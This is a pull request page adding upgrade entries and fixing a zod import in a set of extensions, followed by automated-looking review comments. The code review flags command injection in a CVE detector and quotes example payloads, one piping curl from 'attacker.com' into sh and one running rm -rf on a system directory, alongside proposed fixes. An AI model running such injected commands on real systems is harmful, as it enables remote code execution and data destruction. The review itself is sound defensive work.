fix: add missing upgrade entries and fix bare zod import (#549) #31
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "worktree-549"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Summary
Fixes two classes of shipping defects introduced by the copyright/branding commit (
b5c38f74c), which bumped all extension model versions to2026.06.04.1without adding the corresponding upgrade entries. The SSH extension additionally had a barezodimport that fails the swamp bundler.ssh/extensions/models/_lib/schemas.tsusedimport { z } from "zod"— works locally viadeno.jsonimport map, but the swamp bundler doesn't resolve bare specifiers. Changed toimport { z } from "npm:zod@4.3.6"to match every other extension.toVersion: "2026.06.04.1"no-op upgrade entries to all models that had their version bumped in the branding commit. Three models that never had anupgradesarray (mini-shai-hulud,gcs-bootstrap,s3-bootstrap) now have one.Impact
Without this fix:
@swamp/sshfail at bundle time (Import "zod" not a dependency)2026.06.04.1(Last upgrade toVersion does not match model version)swamp doctor extensionsreportsBundleBuildFailedfor SSH; re-pulling does not recoverSame class of regression as #357 (
@swamp/digitaloceanv2026.05.14.1).Affected extensions (20 model files)
@swamp/ssh@swamp/kubernetes/*@swamp/cve/dirtyfrag@swamp/cve/mini-shai-hulud@swamp/gcs-datastore-bootstrap/provisioner@swamp/s3-datastore-bootstrap/provisionerWhy this is correct
npm:zod@4.3.6— the explicit specifier the bundler resolves, matching every other extensionupgradeAttributes: (old) => old) — the branding commit changed only copyright headers, no schemastoVersionto match the model'sversionfield; every model now satisfies this invariantVerification
deno checkpasses for all 6 affected extension directoriesdeno lintclean across all affected directoriesdeno install --frozenconfirms no lockfile driftgrep -rn 'from "zod"'returns zero hits (no bare imports remain)toVersion: "2026.06.04.1"upgrade entryTest plan
deno checkpasses for all 6 affected extension directoriesdeno lintcleandeno install --frozen— no lockfile drift"zod"imports remain in ssh/, kubernetes/, cve/, or workflows/toVersion: "2026.06.04.1"in their upgrades arrayReported-By: bixu (swamp-club #549)
Co-Authored-By: bixu bixu@users.noreply.swamp-club.com
5d85044ec5d717e9aa65Adversarial Review
Medium
Missing intermediate upgrade entries for newly-created
upgradesarrays —cve/mini-shai-hulud/extensions/models/mini_shai_hulud_detect.ts:502,workflows/s3-bootstrap/extensions/models/provisioner.ts:36,workflows/gcs-bootstrap/extensions/models/provisioner.ts:33Three models get their first-ever
upgradesarray, but each only contains a single entry fortoVersion: "2026.06.04.1". These models had prior published versions:mini-shai-hulud:2026.05.19.1→2026.06.04.1s3-bootstrap/provisioner:2026.04.21.1→2026.04.22.1→2026.04.22.3→2026.06.04.1gcs-bootstrap/provisioner:2026.04.21.1→ ... →2026.06.04.1If the framework requires contiguous upgrade entries (version-by-version stepping), instances at older versions would fail to upgrade. Since all
upgradeAttributesfunctions are identity (pass-through), this is functionally harmless — no attributes actually need transformation. But if the framework validates upgrade chain continuity, this could block upgrades for instances still running pre-2026.06.04.1versions. This is a pre-existing gap (these models never had upgrade entries), so it's not introduced by this PR — but the PR does codify the assumption that a single jump is valid.Low
Zod import change is safe but has an invisible duplicate resolution path —
ssh/extensions/models/_lib/schemas.ts:30The import changed from
"zod"to"npm:zod@4.3.6". Sincessh/deno.jsonmaps"zod"→"npm:zod@4.3.6", both resolve identically. The change aligns with every other extension in the repo (all use explicitnpm:zod@4.3.6). No functional impact; purely a consistency improvement.Verdict
PASS — This is a mechanical branding version bump. All 20 upgrade entries are identity pass-throughs with consistent
toVersionmatching each model'sversionfield. The zod import fix is correct. No logic changes, no security concerns, no data transformation risks. The missing intermediate upgrade entries for three models are a pre-existing gap, not introduced here.Code Review
This PR is a copyright/branding update to "Elder Swamp Club, Inc." across 21 model files. Each file gains a new
2026.06.04.1version and a corresponding upgrade entry that explicitly states "No code, schema, or behavior change." The upgrade entries, version numbers, and descriptions are all consistent.CLAUDE.md compliance: No
model/files touched; no auto-generated code modified without codegen changes. All npm imports are pinned to exact versions (zod@4.3.6,@kubernetes/client-node@1.0.0,@aws-sdk/client-*@3.1024.0). Noanytypes in hand-written code. All exports are named exports — no default exports.Blocking Issues
Command injection —
cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts,checkConnectivity()line 176The
hostparameter — sourced from user-suppliedglobalArgs.targetHost(schema:z.string()with no sanitization) — is interpolated directly into abash -cstring that executes on the local machine:A
targetHostvalue such as127.0.0.1; curl attacker.com/shell | shexecutes arbitrary commands on the swamp runner. Fix: replace thebash -capproach with a direct subprocess invocation — e.g.Deno.Command("nc", { args: ["-z", "-w", "5", host, String(port)] })— or add a hostname regex guard in the Zod schema (e.g..regex(/^[A-Za-z0-9.\-:\[\]]+$/)) before the bash call is reached.Note: this issue pre-dates this PR (which is a no-code-change copyright update), but it is present in a changed file and must be addressed.
Command injection —
cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts,scanHost()line 439The
suBinaryPathparameter — sourced from user-suppliedglobalArgs.suBinaryPath(schema:z.string()with no sanitization) — is interpolated into a shell command sent to the target host viarunCmd:A value like
/bin/su; rm -rf /etc/modprobe.dwould be injected into the remote shell. Fix: validatesuBinaryPathin the schema with an absolute-path regex (e.g.z.string().regex(/^\/[A-Za-z0-9\/_.-]+$/)) before it is used in shell commands.Same note: pre-existing issue present in a changed file.
Suggestions
dirtyfrag_detect.tsline 783 — fragile error-host extraction inscanFleetThe host name is recovered from a rejection message by regex (
errMsg.match(/Cannot .+ on (.+?):/)?.[1]). If the error message format ever changes, fleet scan summaries silently attribute all failures to"unknown". Threading the host name directly through the rejection viaObject.assign(err, { host })(as already done in themitigatemethod’scatchblock) would be more robust.dirtyfrag_detect.tsline 354 — implicitNaNarithmeticparseInt(builtinResult.stdout)returnsNaNwhen the grep fallback emits"unknown".NaN > 0isfalse, making the behavior accidentally correct; an explicitconst n = parseInt(...); if (!isNaN(n) && n > 0)guard makes the intent unambiguous.mini_shai_hulud_detect.ts—detectFormatthrows synchronously on unrecognised file namesIf
lockfilePathpoints to a file with an unexpected name (e.g. reached via a symlink),detectFormatthrows synchronously and the error surfaces as an unhandled rejection rather than a structured user-facing message. Wrapping it in atry/catchinsideexecuteand re-throwing with the file path included would improve operator experience.